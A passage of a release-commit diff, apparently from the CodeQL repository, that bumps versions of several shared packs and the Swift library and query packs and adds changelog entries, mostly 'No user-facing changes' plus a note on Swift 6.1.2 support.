a/shared/typetracking/change-notes/released/2.0.9.md b/shared/typetracking/change-notes/released/2.0.9.md new file mode 100644 index 000000000000..b89eb98bbd9d --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 7ffb2d9f65be..ce305265e337 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index 91b9a990ba86..e75d2976ab3a 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index a81f798d14cb..62be8d62137f 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.25.md b/shared/typos/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index bedd7763f80e..7cbc9901fec7 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index 70486f1eeb4c..e9eb55238ef2 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.12 + +No user-facing changes. + ## 2.0.11 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.12.md b/shared/util/change-notes/released/2.0.12.md new file mode 100644 index 000000000000..c93809466de8 --- /dev/null +++ b/shared/util/change-notes/released/2.0.12.md @@ -0,0 +1,3 @@ +## 2.0.12 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 3cbe73b4cadc..b856d9a13f21 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.11 +lastReleaseVersion: 2.0.12 diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index ba1cdd04daf2..f400be0abdff 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.12-dev +version: 2.0.12 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index 43afc43456bd..1af448dd16d8 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.25.md b/shared/xml/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 023376cee30b..e6cb9a17961a 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index a324870b225c..7944d8a4a2fb 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.25.md b/shared/yaml/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index 4b28cce1b1cc..cf91193f6aec 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index fe8bfd82364b..bc63ecb86b43 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.0.1 + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.2. + ## 5.0.0 ### Breaking Changes diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/released/5.0.1.md similarity index 50% rename from swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md rename to swift/ql/lib/change-notes/released/5.0.1.md index 60adc9e1cfce..b27dae0871de 100644 --- a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md +++ b/swift/ql/lib/change-notes/released/5.0.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 5.0.1 + +### Minor Analysis Improvements + * Updated to allow analysis of Swift 6.1.2. diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c9e54136ca5c..ae7df5e18b78 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.0.0 +lastReleaseVersion: 5.0.1 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index efb8506e6caa..8c4f32eb0d20 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.1-dev +version: 5.0.1 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7faf32ba8417..54ed582d8d9b 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.1.5 + +No user-facing changes. + ## 1.1.4 ### Minor Analysis Improvements diff --git a/swift/ql/src/change-notes/released/1.1.5.md b/swift/ql/src/change-notes/released/1.1.5.md new file mode 100644 index 000000000000..11a52a121d13 --- /dev/null +++ b/swift/ql/src/change-notes/released/1.1.5.md @@ -0,0 +1,3 @@ +## 1.1.5 + +No user-facing changes. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 26cbcd3f123b..df39a9de059d 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.4 +lastReleaseVersion: 1.1.5 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 71a570bb9d8e..9c1b33791a23 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.5-dev +version: 1.1.5 groups: - swift - queries